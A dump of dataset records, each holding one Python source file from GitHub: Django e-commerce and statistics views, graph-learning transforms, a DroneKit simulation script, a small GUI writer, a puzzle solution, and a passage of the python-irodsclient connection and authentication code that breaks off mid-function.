{"seq_id":"20041931430","text":"from django.urls import path\nfrom django.shortcuts import reverse\n\n\nfrom . import views\n\napp_name = 'product'\n\nurlpatterns = [\n    path('', views.index, name=\"index\"),\n    path('register/', views.registerPage, name=\"register\"),\n    path('login/', views.loginPage, name=\"login\"),\n    path('logout/', views.logoutUser, name=\"logout\"),\n    path('add-to-cart/<slug>/',views.add_to_cart, name='add-to-cart'),\n    path('order-summary/', views.OrderSummaryView.as_view(), name='order-summary'),\n    path('checkout/', views.CheckoutView.as_view(), name='checkout'),\n    path('remove-from-cart/<slug>/', views.remove_from_cart, name='remove-from-cart'),\n    path('remove-item-from-cart/<slug>/', views.remove_single_item_from_cart,name='remove-single-item-from-cart'),\n    path('payment/<payment_option>/', views.PaymentView.as_view(), name='payment'),\n         \n]","repo_name":"nishantsingh90/ecommerce","sub_path":"product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5687760480","text":"import torch\nfrom torch_geometric.data import Data\nfrom torch_geometric.transforms import BaseTransform\nfrom torch_geometric.data.datapipes import functional_transform\n\nfrom .scalers import ScalersManager\n\n@functional_transform('scaler_transform')\nclass ScalerTransform(BaseTransform):\n\n    def __init__(self, scalers_manager: ScalersManager):\n        \n        # store scaler fields\n        self._scalers = scalers_manager\n        self._fields = scalers_manager.get_scalers_fields()\n            \n    def __call__(self, data: Data) -> Data:\n        \n        # perform scale of data (if scalers exists)\n        if 'x_node' in self._fields:\n            x_scalers = self._scalers.get_scalers_from_field('x_node')\n            \n            # TODO: check when scaler is a Encoding one (empty node may cause error)\n            if data.x.size()[0] > 0:\n                for x_scaler in x_scalers:\n                    data.x = torch.tensor(x_scaler.transform(data.x), dtype=torch.float)\n        \n        # edge attributes\n        if 'x_edge' in self._fields:\n            \n            edge_scalers = self._scalers.get_scalers_from_field('x_edge')\n            # only if graph has connections\n            # TODO: check when scaler is a Encoding one (empty ray may cause error)\n            if data.edge_attr.size()[0] > 0: \n                for edge_scaler in edge_scalers:\n                    data.edge_attr = torch.tensor(edge_scaler.transform(data.edge_attr), dtype=torch.float)\n        \n        # targets and camera attributes\n        for c_key in ['y_direct', 'y_indirect', 'y_total', 'origin', 'direction']:\n            if c_key in self._fields:\n            \n                # reshape data\n                if len(data[c_key].shape) == 1:\n                    data[c_key] = data[c_key].unsqueeze(0)\n                    \n                c_scalers = self._scalers.get_scalers_from_field(c_key)\n                \n                for c_scaler in c_scalers:\n                    data[c_key] = torch.tensor(c_scaler.transform(data[c_key]), dtype=torch.float)\n                   \n        return data\n    \n    def __repr__(self) -> str:\n        return f'{self.__class__.__name__}'\n    \n    \n@functional_transform('signal_encoder')\nclass SignalEncoder(BaseTransform):\n\n    def __init__(self, encoder_size=6, mask= None, log_space=False):\n        \n        # TODO: specify which data need to be transformed (check other transform)\n        self.n_freqs = encoder_size\n        self.log_space = log_space\n        self.default = lambda x: x # keep default value of feature\n        self.embed_fns = []\n        self.mask = {k: torch.tensor(c_mask, dtype=torch.uint8) for k, c_mask in mask.items()} \n\n        # Define frequencies in either linear or log scale\n        if self.log_space:\n            freq_bands = 2.**torch.linspace(0., self.n_freqs - 1, self.n_freqs)\n        else:\n            freq_bands = torch.linspace(2.**0., 2.**(self.n_freqs - 1), self.n_freqs)\n\n        # Alternate sin and cos\n        for freq in freq_bands:\n            self.embed_fns.append(lambda x, freq=freq: torch.sin(x * freq))\n            self.embed_fns.append(lambda x, freq=freq: torch.cos(x * freq))\n            \n    def __apply(self, x, mask_key):\n        \n        # apply transformation on mask if required\n        xx = x\n        if self.mask[mask_key] is not None:\n            if len(self.mask[mask_key]) != len(x):\n                raise ValueError(f'Invalid mask size for {mask_key}. Mask size must be {len(x)}')\n            xx = x[self.mask[mask_key]]\n        \n        if self.mask[mask_key] is None or len(xx) == 0:\n            # if no mask, then apply nothing, just keep the previous field (same as mask of full zeros)\n            return torch.empty(0, dtype=torch.float32)\n            \n        return torch.concat([fn(xx) for fn in self.embed_fns], dim=-1)\n    \n    def __call__(self, data: Data) -> Data:\n        \n        # transform if field using provided mask\n        data.x = torch.stack([ torch.cat([self.default(x), self.__apply(x, 'x_node') ]) for x in data.x])\n        \n        # check if there is edges data\n        if data.edge_attr.size()[0] > 0:\n            data.edge_attr = torch.stack([ torch.cat([self.default(e), self.__apply(e, 'x_edge') ]) for e in data.edge_attr])\n            \n        # target radiance attributes\n        data.y_total = torch.stack([ torch.cat([self.default(y), self.__apply(y, 'y_total') ]) for y in data.y_total])\n        data.y_direct = torch.stack([ torch.cat([self.default(y), self.__apply(y, 'y_direct') ]) for y in data.y_direct])\n        data.y_indirect = torch.stack([ torch.cat([self.default(y), self.__apply(y, 'y_indirect') ]) for y in data.y_indirect])\n\n        # camera attributes\n        data.origin = torch.stack([ torch.cat([self.default(o), self.__apply(o, 'origin') ]) for o in data.origin])\n        data.direction = torch.stack([ torch.cat([self.default(d), self.__apply(d, 'direction') ]) for d in data.direction])\n        \n        return data\n    \n    def __repr__(self) -> str:\n        return f'{self.__class__.__name__}'","repo_name":"jbuisine/mignn","sub_path":"src/mignn/processing/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34589898063","text":"from mathtools import Lla, Pvector, Nvector\nfrom basic_control import connect_virtual_vehicle, arm_and_takeoff\nfrom dronekit import Vehicle, connect, VehicleMode, LocationGlobalRelative\nfrom ned_utilities import ned_controller\nfrom flight_plotter import Location, CoordinateLogger, GraphPlotter\nfrom ned_plotter import NedData\nfrom ned_frame import find_ned\nimport numpy as np\nimport math\n\n\nMAX_SPEED = 5.0\n\n\ndef get_position(vehicle):\n    return Lla(vehicle.location.global_relative_frame.lat,\n               vehicle.location.global_relative_frame.lon,\n               vehicle.location.global_relative_frame.alt)\n\n\ndef is_before_diverting(start_location, current_location, end_location):\n    \"\"\"returns true when the current location is less than 50% of the way to end location\"\"\"\n    a = Lla(start_location.latitude, start_location.longitude,\n            start_location.altitude)\n    b = Lla(end_location.latitude, end_location.longitude,\n            end_location.altitude)\n    current = Lla(current_location.latitude, current_location.longitude,\n                  current_location.altitude)\n    d_full = a.distance(b)\n    d_remaining = current.distance(b)\n    return d_remaining / d_full > 0.5\n\ndef direction_not_changed(vehicle, new_direction):\n    v = vehicle.velocity\n    denominator = np.linalg.norm(v) * np.linalg.norm(new_direction)\n    if denominator != 0:\n        theta = math.acos(np.dot(new_direction, v) / denominator)\n        return np.degrees(theta) > 2.5\n    else:\n        return True\n\ndef find_velocity(a, b, speed):\n    n, e, d = find_ned(a, b)\n    velocity = np.array([n, e, d])\n    velocity = velocity  * (1.0 / np.linalg.norm(velocity))\n    velocity = velocity * speed\n    return velocity\n\ndrone, sitl = connect_virtual_vehicle(0, [41.714827, -86.241931, 0])\narm_and_takeoff(drone, 10)\nhome = get_position(drone)\nA = home\nB = A.move_ned(40, 0, 0)\n\ncontroller = ned_controller()\ndata = NedData(home)\ndata.log_poi(A, \"A\")\ndata.log_poi(B, \"B\")\n\n\nwhile is_before_diverting(A, get_position(drone), B):\n    print(\"flying toward B\")\n    velocity = find_velocity(A, B, MAX_SPEED)\n    print(velocity)\n    controller.send_ned_velocity(velocity[0], velocity[1], velocity[2], drone)\n    data.log_lla(get_position(drone))\n\ndata.log_poi(get_position(drone), \"Divert\")\n# divert to the left\n# divert_direction = np.cross([0.0, 0.0, -1.0], drone.velocity)\ndivert_direction = np.array(drone.velocity) * -1\ndivert_direction = divert_direction * 10.0 / np.linalg.norm(divert_direction)\nwhile direction_not_changed(drone, divert_direction):\n    print(\"diverting!\")\n    velocity = divert_direction\n    controller.send_ned_velocity(velocity[0], velocity[1], velocity[2], drone)\n    data.log_lla(get_position(drone))\n\n\nprint(\"Returning to Launch\")\ndrone.mode = VehicleMode(\"RTL\")\n# Close vehicle object before exiting script\nprint(\"Close vehicle object\")\ndrone.close()\n\n# Shut down simulator if it was started.\nif sitl is not None:\n    sitl.stop()\n\ndata.plot()\n\n\n\n","repo_name":"murphym18/dronekit-fun","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10790206360","text":"import PySimpleGUI as sg\nimport sys\nimport time\n\n# Define the function for entering lines\ndef my_life_txt():\n    # Open the file \"mylife.txt\" in append mode\n    with open(\"mylife.txt\", \"a\") as my_file:\n        # Initialize a list to keep track of all the lines added\n        lines = []\n\n        # Create a loop to let user add line/s\n        while True:\n            # Define the layout for the main window\n            layout = [\n                [sg.Text(\"Enter a line:\"), sg.InputText()], # Prompt the user to enter a line\n                [sg.Button(\"Add this line\"), sg.Button(\"Finish\")],\n                [sg.Multiline(size=(80, 20), key=\"_MULTILINE_\")], # Display all the lines added in realtime\n            ]\n\n            # Create the main window \n            window = sg.Window(\"My Life\", layout)\n\n            # Function call for main window\n            event, values = window.read()\n\n            # If the user clicks the \"Add this line\" button, the entered line will be appended to \"mylife.txt\"\n            if event == \"Add this line\":\n                my_file.write(values[0] + \"\\n\")\n                # Append the new line to the existing lines displayed in the Multiline element\n                lines.append(values[0])\n                # Update the Multiline element to display all the lines\n                window[\"_MULTILINE_\"].update(value=\"\\n\".join(lines))\n                \n                # Prompt the user if they want to add more lines\n                add_more_layout = [\n                    [sg.Text(\"Do you want to add more lines?\")],\n                    [sg.Button(\"Yes\"), sg.Button(\"No\")],\n                ]\n                add_more_window = sg.Window(\"Add more lines?\", add_more_layout)\n                add_more_event, add_more_values = add_more_window.read()\n                \n                # If the user clicks \"Yes\", continue adding lines\n                if add_more_event == \"Yes\":\n                    add_more_window.close()\n                    continue\n                # If the user clicks \"No\", exit the loop and close the window\n                elif add_more_event == \"No\":\n                    sg.Popup(\"File saved successfully\")\n                    add_more_window.close()\n                    break\n\n            # If the user clicks the \"Finish\" button, close the window and exit the loop\n            elif event == \"Finish\":\n                sg.Popup(\"File saved successfully\")\n                time.sleep(1)\n                sys.exit()\n                \n\n# Call the function\nmy_life_txt()\n","repo_name":"Irish-C/writes-multi-line-to-txt-file","sub_path":"multiline_writer.py","file_name":"multiline_writer.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9655728448","text":"# Planting trees problem\n\ndef party_asap(trees: list) -> int:\n    greedy = sorted(trees, reverse=True)\n    current_max = 1\n    for idx, tree in enumerate(greedy):\n        time = tree + idx + 1\n        if time > current_max:\n            current_max = time\n    return current_max + 1\n\n\nn_trees = int(input())\ntrees_input = list(map(int, input().split()))\nprint(party_asap(trees_input))\n","repo_name":"taras-svystun/Contest2","sub_path":"Python_code/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72263987881","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required, user_passes_test\n\nfrom django.http import HttpResponse\n\nfrom django.utils import timezone\nimport datetime\n\nfrom .forms import DateRangeSearchForm, DateForm\n\nfrom .models import DailyRecord, TimelyRecord\n\nfrom .controllers import sendMonthlyReport\n\nfrom accountManagement.controllers import checkIsAdmin, checkIsActivated\nfrom systemManagement.controllers import checkEmailConnectivity\n\n@login_required\n@user_passes_test(checkIsActivated, login_url='index')\ndef DailyRecords(request):\n    print(\"Daily Records\")\n    timezone.activate('Asia/Colombo')\n\n    if request.method == 'POST':\n        form = DateRangeSearchForm(request.POST)\n        if form.is_valid():\n            start_date = form.cleaned_data['start_date']\n            end_date = form.cleaned_data['end_date']\n            \n            \n            if form.cleaned_data['auto_adjust']:\n                dateTuple = calculate_viewable_date_range(\n                    form.cleaned_data['start_date'],\n                    form.fields['end_date'].initial,\n                )\n                form = DateRangeSearchForm(\n                    {\n                        'start_date' : dateTuple[0],\n                        'end_date' : dateTuple[1],\n                        'auto_adjust' : request.POST['auto_adjust'],\n                    }\n                )\n                start_date, end_date = dateTuple\n                \n\n    else:\n        form = DateRangeSearchForm()\n        start_date = form.fields['start_date'].initial\n        end_date = form.fields['end_date'].initial\n        \n    \n    all_results = DailyRecord.fetchWithinRange(start_date = start_date, end_date = end_date)\n    results_of_peak_days = DailyRecord.findPeakWithinRange(start_date = start_date, end_date = end_date)\n\n    content = {\n        'form' : form,\n        'all_results' : all_results,\n        'peak_results' : results_of_peak_days,\n        'invalid_date_range': start_date >= end_date,\n    }\n   \n    return render(request, 'statisticsManagement/DailyRecordChart.html', content)\n\n@login_required\n@user_passes_test(checkIsActivated, login_url='index')\ndef TimelyRecords(request):\n    timezone.activate('Asia/Colombo')\n\n    if request.method == 'POST':\n        form = DateForm(request.POST)\n        if form.is_valid():\n            single_date = form.cleaned_data['single_date']\n            \n            \n            if form.cleaned_data['auto_adjust']:\n                form = DateForm(\n                    {\n                        \n                        'single_date' : request.POST['single_date'],\n                        'auto_adjust' : request.POST['auto_adjust'],\n                    }\n                )\n                \n    else:\n        form = DateForm()\n        single_date = form.fields['single_date'].initial\n  \n    \n   \n    \n    single_date_timely_results = TimelyRecord.getRecordsOnDate(single_date)\n    single_date_daily_result = DailyRecord.objects.filter(record_date__exact = single_date)\n    single_date_peak_times = ()\n    if single_date_daily_result:\n        single_date_daily_result = single_date_daily_result[0]\n        if single_date_daily_result.peak_hour_start.minute == 30:\n            midVal = datetime.time(single_date_daily_result.peak_hour_end.hour, 0)\n        else:\n            midVal = datetime.time(single_date_daily_result.peak_hour_start.hour, 30)\n        single_date_peak_times = (\n            \"%s to %s\"%(single_date_daily_result.peak_hour_start.strftime(\"%H:%M\"),\n            midVal.strftime(\"%H:%M\")), \n            \"%s to %s\"%(midVal.strftime(\"%H:%M\"),\n            single_date_daily_result.peak_hour_end.strftime(\"%H:%M\"))\n        )\n   \n    timely_results_list = []\n    if single_date_timely_results:\n        for t in range(len(single_date_timely_results)-1):\n            result = {\n                'record_time':'%s to %s'%(single_date_timely_results[t].record_time.strftime(\"%H:%M\"), \n                single_date_timely_results[t+1].record_time.strftime(\"%H:%M\")),\n                'record_count':single_date_timely_results[t+1].record_count\n                }\n            timely_results_list.append(result)\n        last_index = len(single_date_timely_results) - 1\n        last_result = {\n            'record_time':'%s to %s'%(single_date_timely_results[last_index].record_time.strftime(\"%H:%M\"), \n                single_date_timely_results[0].record_time.strftime(\"%H:%M\")),\n                'record_count':single_date_timely_results[last_index].record_count\n        }\n        if single_date_timely_results[last_index].record_time == datetime.time(23,30):\n            timely_results_list.append(last_result)\n\n    content = {\n        'form' : form,\n        'single_date' : single_date,\n        'single_date_timely_results' : timely_results_list,\n        'single_date_daily_result' : single_date_daily_result,\n        'single_date_peak_times' : single_date_peak_times,\n        \n    }\n    return render(request, 'statisticsManagement/TimelyRecordChart.html', content)\n\n\ndef calculate_viewable_date_range(start_date, end_date):\n    start_date = datetime.datetime.fromisoformat(start_date.isoformat())\n    end_date = datetime.datetime.fromisoformat(end_date.isoformat())\n    rightDifference = (end_date - start_date).days\n    \n    if rightDifference > 7 :\n        maxRight = (start_date + datetime.timedelta(days = 7)).date()\n        maxLeft = (start_date - datetime.timedelta(days = 7)).date()\n        return (maxLeft, maxRight)\n\n    else:\n        if rightDifference < 0:\n            rightDifference = 0\n    \n    maxRight = end_date.date()\n    maxLeft = (end_date - datetime.timedelta(days = (14))).date()\n    return (maxLeft, maxRight)\n\n@user_passes_test(checkIsAdmin, login_url='index')\ndef sendMonthlyReport(request):\n    today = datetime.datetime.today()\n    prevMonth = datetime.date(today.year, today.month - 1, 1)\n    context = {\"prevMonth\" : prevMonth.strftime(\"%B, %Y\"), \"success\" : False, \"nodata\" : False}\n    if checkEmailConnectivity():\n        context[\"connectivity\"] = True\n        if request.method == \"POST\":\n            sent = sendMonthlyReport()\n            if sent:\n                context['success'] = True\n                if sent < 0 : context['nodata'] = True\n    else:\n        context[\"connectivity\"] = False\n    return render(request, 'statisticsManagement/sendMonthlyReport.html', context)","repo_name":"bitRondo/human-tracking-surveillance","sub_path":"statisticsManagement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"74113767399","text":"from __future__ import absolute_import\nimport socket\nimport logging\nimport struct\nimport hashlib\nimport six\nimport os\nimport ssl\nimport datetime\nimport irods.password_obfuscation as obf\nfrom irods import MAX_NAME_LEN\nfrom ast import literal_eval as safe_eval\nimport re\n\nPAM_PW_ESC_PATTERN = re.compile(r'([@=&;])')\n\n\nfrom irods.message import (\n    iRODSMessage, StartupPack, AuthResponse, AuthChallenge, AuthPluginOut,\n    OpenedDataObjRequest, FileSeekResponse, StringStringMap, VersionResponse,\n    PluginAuthMessage, ClientServerNegotiation, Error, GetTempPasswordOut)\nfrom irods.exception import (get_exception_by_code, NetworkException, nominal_code)\nfrom irods.message import (PamAuthRequest, PamAuthRequestOut)\n\n\n\nALLOW_PAM_LONG_TOKENS = True      # True to fix [#279]\n# Message to be logged when the connection\n# destructor is called. Used in a unit test\nDESTRUCTOR_MSG = \"connection __del__() called\"\n\nfrom irods import (\n    MAX_PASSWORD_LENGTH, RESPONSE_LEN,\n    AUTH_SCHEME_KEY, AUTH_USER_KEY, AUTH_PWD_KEY, AUTH_TTL_KEY,\n    NATIVE_AUTH_SCHEME,\n    GSI_AUTH_PLUGIN, GSI_AUTH_SCHEME, GSI_OID,\n    PAM_AUTH_SCHEME)\nfrom irods.client_server_negotiation import (\n    perform_negotiation,\n    validate_policy,\n    REQUEST_NEGOTIATION,\n    REQUIRE_TCP,\n    FAILURE,\n    USE_SSL,\n    CS_NEG_RESULT_KW)\nfrom irods.api_number import api_number\n\nlogger = logging.getLogger(__name__)\n\nclass PlainTextPAMPasswordError(Exception): pass\n\nclass Connection(object):\n\n    DISALLOWING_PAM_PLAINTEXT = True\n\n    def __init__(self, pool, account):\n\n        self.pool = pool\n        self.socket = None\n        self.account = account\n        self._client_signature = None\n        self._server_version = self._connect()\n        self._disconnected = False\n\n        scheme = self.account.authentication_scheme\n\n        if scheme == NATIVE_AUTH_SCHEME:\n            self._login_native()\n        elif scheme == GSI_AUTH_SCHEME:\n            self.client_ctx = None\n            self._login_gsi()\n        elif scheme == PAM_AUTH_SCHEME:\n            self._login_pam()\n        else:\n            raise ValueError(\"Unknown authentication scheme %s\" % scheme)\n        self.create_time = datetime.datetime.now()\n        self.last_used_time = self.create_time\n\n    @property\n    def server_version(self):\n        detected = tuple(int(x) for x in self._server_version.relVersion.replace('rods', '').split('.'))\n        return (safe_eval(os.environ.get('IRODS_SERVER_VERSION','()'))\n                or detected)\n    @property\n    def client_signature(self):\n        return self._client_signature\n\n    def __del__(self):\n        self.disconnect()\n        logger.debug(DESTRUCTOR_MSG)\n\n    def send(self, message):\n        string = message.pack()\n\n        logger.debug(string)\n        try:\n            self.socket.sendall(string)\n        except:\n            logger.error(\n                \"Unable to send message. \" +\n                \"Connection to remote host may have closed. \" +\n                \"Releasing connection from pool.\"\n            )\n            self.release(True)\n            raise NetworkException(\"Unable to send message\")\n\n    def recv(self, into_buffer = None\n                 , return_message = ()\n                 , acceptable_errors = ()):\n        acceptable_codes = set(nominal_code(e) for e in acceptable_errors)\n        try:\n            if into_buffer is None:\n                msg = iRODSMessage.recv(self.socket)\n            else:\n                msg = iRODSMessage.recv_into(self.socket, into_buffer)\n        except (socket.error, socket.timeout) as e:\n            # If _recv_message_in_len() fails in recv() or recv_into(),\n            # it will throw a socket.error exception. The exception is\n            # caught here, a critical message is logged, and is wrapped\n            # in a NetworkException with a more user friendly message\n            logger.critical(e)\n            logger.error(\"Could not receive server response\")\n            self.release(True)\n            raise NetworkException(\"Could not receive server response\")\n        if isinstance(return_message,list): return_message[:] = [msg]\n        if msg.int_info < 0:\n            try:\n                err_msg = iRODSMessage(msg=msg.error).get_main_message(Error).RErrMsg_PI[0].msg\n            except TypeError:\n                err_msg = None\n            if nominal_code(msg.int_info) not in acceptable_codes:\n                raise get_exception_by_code(msg.int_info, err_msg)\n        return msg\n\n    def recv_into(self, buffer, **options):\n        return self.recv( into_buffer = buffer, **options )\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        self.release()\n\n    def release(self, destroy=False):\n        self.pool.release_connection(self, destroy)\n\n    def reply(self, api_reply_index):\n        value = socket.htonl(api_reply_index)\n        try:\n            self.socket.sendall(struct.pack('I', value))\n        except:\n            self.release(True)\n            raise NetworkException(\"Unable to send API reply\")\n\n    def requires_cs_negotiation(self):\n        try:\n            if self.account.client_server_negotiation == REQUEST_NEGOTIATION:\n                return True\n        except AttributeError:\n            return False\n        return False\n\n    @staticmethod\n    def make_ssl_context(irods_account):\n        check_hostname = getattr(irods_account,'ssl_verify_server','hostname')\n        CAfile = getattr(irods_account,'ssl_ca_certificate_file',None)\n        CApath = getattr(irods_account,'ssl_ca_certificate_path',None)\n        verify = ssl.CERT_NONE if (None is CAfile is CApath) else ssl.CERT_REQUIRED\n        # See https://stackoverflow.com/questions/30461969/disable-default-certificate-verification-in-python-2-7-9/49040695#49040695\n        ctx = ssl.create_default_context(ssl.Purpose.SERVER_AUTH, cafile=CAfile, capath=CApath)\n        # Note: check_hostname must be assigned prior to verify_mode property or Python library complains!\n        ctx.check_hostname = (check_hostname.startswith('host') and verify != ssl.CERT_NONE)\n        ctx.verify_mode = verify\n        return ctx\n\n    def ssl_startup(self):\n        # Get encryption settings from client environment\n        host = self.account.host\n        algo = self.account.encryption_algorithm\n        key_size = self.account.encryption_key_size\n        hash_rounds = self.account.encryption_num_hash_rounds\n        salt_size = self.account.encryption_salt_size\n\n        try:\n            context = self.account.ssl_context\n        except AttributeError:\n            self.account.ssl_context = context = self.make_ssl_context(self.account)\n\n        # Wrap socket with context\n        wrapped_socket = context.wrap_socket(self.socket,\n                                             server_hostname=(host if context.check_hostname else None))\n\n        # Initial SSL handshake\n        wrapped_socket.do_handshake()\n\n        # Generate key (shared secret)\n        key = os.urandom(self.account.encryption_key_size)\n\n        # Send header-only message with client side encryption settings\n        packed_header = iRODSMessage.pack_header(algo,\n                                                 key_size,\n                                                 salt_size,\n                                                 hash_rounds,\n                                                 0)\n        wrapped_socket.sendall(packed_header)\n\n        # Send shared secret\n        packed_header = iRODSMessage.pack_header('SHARED_SECRET',\n                                                 key_size,\n                                                 0,\n                                                 0,\n                                                 0)\n        wrapped_socket.sendall(packed_header + key)\n\n        # Use SSL socket from now on\n        self.socket = wrapped_socket\n\n    def _connect(self):\n        address = (self.account.host, self.account.port)\n        timeout = self.pool.connection_timeout\n\n        try:\n            s = socket.create_connection(address, timeout)\n            self._disconnected = False\n        except socket.error:\n            raise NetworkException(\n                \"Could not connect to specified host and port: \" +\n                \"{}:{}\".format(*address))\n\n        self.socket = s\n\n        main_message = StartupPack(\n            (self.account.proxy_user, self.account.proxy_zone),\n            (self.account.client_user, self.account.client_zone),\n            self.pool.application_name\n        )\n\n        # No client-server negotiation\n        if not self.requires_cs_negotiation():\n\n            # Send startup pack without negotiation request\n            msg = iRODSMessage(msg_type='RODS_CONNECT', msg=main_message)\n            self.send(msg)\n\n            # Server responds with version\n            version_msg = self.recv()\n\n            # Done\n            return version_msg.get_main_message(VersionResponse)\n\n        # Get client negotiation policy\n        client_policy = getattr(self.account, 'client_server_policy', REQUIRE_TCP)\n\n        # Sanity check\n        validate_policy(client_policy)\n\n        # Send startup pack with negotiation request\n        main_message.option = '{};{}'.format(main_message.option, REQUEST_NEGOTIATION)\n        msg = iRODSMessage(msg_type='RODS_CONNECT', msg=main_message)\n        self.send(msg)\n\n        # Server responds with its own negotiation policy\n        cs_neg_msg = self.recv()\n        response = cs_neg_msg.get_main_message(ClientServerNegotiation)\n        server_policy = response.result\n\n        # Perform the negotiation\n        neg_result, status = perform_negotiation(client_policy=client_policy,\n                                                 server_policy=server_policy)\n\n        # Send negotiation result to server\n        client_neg_response = ClientServerNegotiation(\n            status=status,\n            result='{}={};'.format(CS_NEG_RESULT_KW, neg_result)\n        )\n        msg = iRODSMessage(msg_type='RODS_CS_NEG_T', msg=client_neg_response)\n        self.send(msg)\n\n        # If negotiation failed we're done\n        if neg_result == FAILURE:\n            self.disconnect()\n            raise NetworkException(\"Client-Server negotiation failure: {},{}\".format(client_policy, server_policy))\n\n        # Server responds with version\n        version_msg = self.recv()\n\n        if neg_result == USE_SSL:\n            self.ssl_startup()\n\n        return version_msg.get_main_message(VersionResponse)\n\n    def disconnect(self):\n        # Moved the conditions to call disconnect() inside the function.\n        # Added a new criteria for calling disconnect(); Only call\n        # disconnect() if fileno is not -1 (fileno -1 indicates the socket\n        # is already closed). This makes it safe to call disconnect multiple\n        # times on the same connection. The first call cleans up the resources\n        # and next calls are no-ops\n        try:\n            if self.socket and getattr(self, \"_disconnected\", False) == False and self.socket.fileno() != -1:\n                disconnect_msg = iRODSMessage(msg_type='RODS_DISCONNECT')\n                self.send(disconnect_msg)\n                try:\n                    # SSL shutdown handshake\n                    self.socket = self.socket.unwrap()\n                except AttributeError:\n                    pass\n                self.socket.shutdown(socket.SHUT_RDWR)\n                self.socket.close()\n        finally:\n            self._disconnected = True  # Issue 368 - because of undefined destruction order during interpreter shutdown,\n            self.socket = None         # as well as the fact that unhandled exceptions are ignored in __del__, we'd at least\n                                       # like to ensure as much cleanup as possible, thus preventing the above socket shutdown\n                                       # procedure from running too many times and creating confusing messages\n\n    def recvall(self, n):\n        # Helper function to recv n bytes or return None if EOF is hit\n        data = b''\n        while len(data) < n:\n            packet = self.socket.recv(n - len(data))\n            if not packet:\n                return None\n            data += packet\n        return data\n\n    def init_sec_context(self):\n        import gssapi\n\n        # AUTHORIZATION MECHANISM\n        gsi_mech = gssapi.raw.OID.from_int_seq(GSI_OID)\n\n        # SERVER NAME\n        server_name = gssapi.Name(self.account.server_dn)\n        server_name.canonicalize(gsi_mech)\n\n        # CLIENT CONTEXT\n        self.client_ctx = gssapi.SecurityContext(\n            name=server_name,\n            mech=gsi_mech,\n            flags=[2, 4],\n            usage='initiate')\n\n    def send_gsi_token(self, server_token=None):\n\n        # CLIENT TOKEN\n        if server_token is None:\n            client_token = self.client_ctx.step()\n        else:\n            client_token = self.client_ctx.step(server_token)\n        logger.debug(\"[GSI handshake] Client: sent a new token\")\n\n        # SEND IT TO SERVER\n        self.reply(len(client_token))\n        self.socket.sendall(client_token)\n\n    def receive_gsi_token(self):\n\n        # Receive client token from iRODS\n        data = self.socket.recv(4)\n        value = struct.unpack(\"I\", bytearray(data))\n        token_len = socket.ntohl(value[0])\n        server_token = self.recvall(token_len)\n        logger.debug(\"[GSI handshake] Server: received a new token\")\n\n        return server_token\n\n    def handshake(self, target):\n        \"\"\"\n        This GSS API context based on GSI was obtained combining 2 sources:\n    https://pythonhosted.org/gssapi/basic-tutorial.html\n    https://github.com/irods/irods_auth_plugin_gsi/blob/master/gsi/libgsi.cpp\n        \"\"\"\n\n        self.init_sec_context()\n\n        # Go, into the loop\n        self.send_gsi_token()\n\n        while not (self.client_ctx.complete):\n\n            server_token = self.receive_gsi_token()\n\n            self.send_gsi_token(server_token)\n\n        logger.debug(\"[GSI Handshake] completed\")\n\n    def gsi_client_auth_request(self):\n\n        # Request for authentication with GSI on current user\n\n        message_body = PluginAuthMessage(\n            auth_scheme_=GSI_AUTH_PLUGIN,\n            context_='%s=%s' % (AUTH_USER_KEY, self.account.client_user)\n        )\n        # GSI = 1201\n# https://github.com/irods/irods/blob/master/lib/api/include/apiNumber.h#L158\n        auth_req = iRODSMessage(\n            msg_type='RODS_API_REQ', msg=message_body, int_info=1201)\n        self.send(auth_req)\n        # Getting the challenge message\n        self.recv()\n\n        # This receive an empty message for confirmation... To check:\n        # challenge_msg = self.recv()\n\n    def gsi_client_auth_response(self):\n\n        message = '%s=%s' % (AUTH_SCHEME_KEY, GSI_AUTH_SCHEME)\n        # IMPORTANT! padding\n        len_diff = RESPONSE_LEN - len(message)\n        message += \"\\0\" * len_diff\n\n        # mimic gsi_auth_client_response\n        gsi_msg = AuthResponse(\n            response=message,\n            username=self.account.proxy_user + '#' + self.account.proxy_zone\n        )\n        gsi_request = iRODSMessage(\n            msg_type='RODS_API_REQ', int_info=api_number['AUTH_RESPONSE_AN'], msg=gsi_msg)\n        self.send(gsi_request)\n        self.recv()\n        # auth_response = self.recv()\n\n    def _login_gsi(self):\n        # Send iRODS server a message to request GSI authentication\n        self.gsi_client_auth_request()\n\n        # Create a context handshaking GSI credentials\n        # Note: this can work only if you export GSI certificates\n        # as shell environment variables (X509_etc.)\n        self.handshake(self.account.host)\n\n        # Complete the protocol\n        self.gsi_client_auth_response()\n\n        logger.info(\"GSI authorization validated\")\n\n    def _login_pam(self):\n\n        time_to_live_in_seconds = 60\n\n        pam_password = PAM_PW_ESC_PATTERN.sub(lambda m: '\\\\'+m.group(1), self.account.password)\n\n        ctx_user = '%s=%s' % (AUTH_USER_KEY, self.account.client_user)\n        ctx_pwd = '%s=%s' % (AUTH_PWD_KEY, pam_password)\n        ctx_ttl = '%s=%s' % (AUTH_TTL_KEY, str(time_to_live_in_seconds))\n\n        ctx = \";\".join([ctx_user, ctx_pwd, ctx_ttl])\n\n        if type(self.socket) is socket.socket:\n            if getattr(self,'DISALLOWING_PAM_PLAINTEXT',True):\n                raise PlainTextPAMPasswordError\n\n        Pam_Long_Tokens = (ALLOW_PAM_LONG_TOKENS and (len(ctx) >= MAX_NAME_LEN))\n\n        if Pam_Long_Tokens:\n\n            message_body = PamAuthRequest(\n                pamUser=self.account.client_user,\n                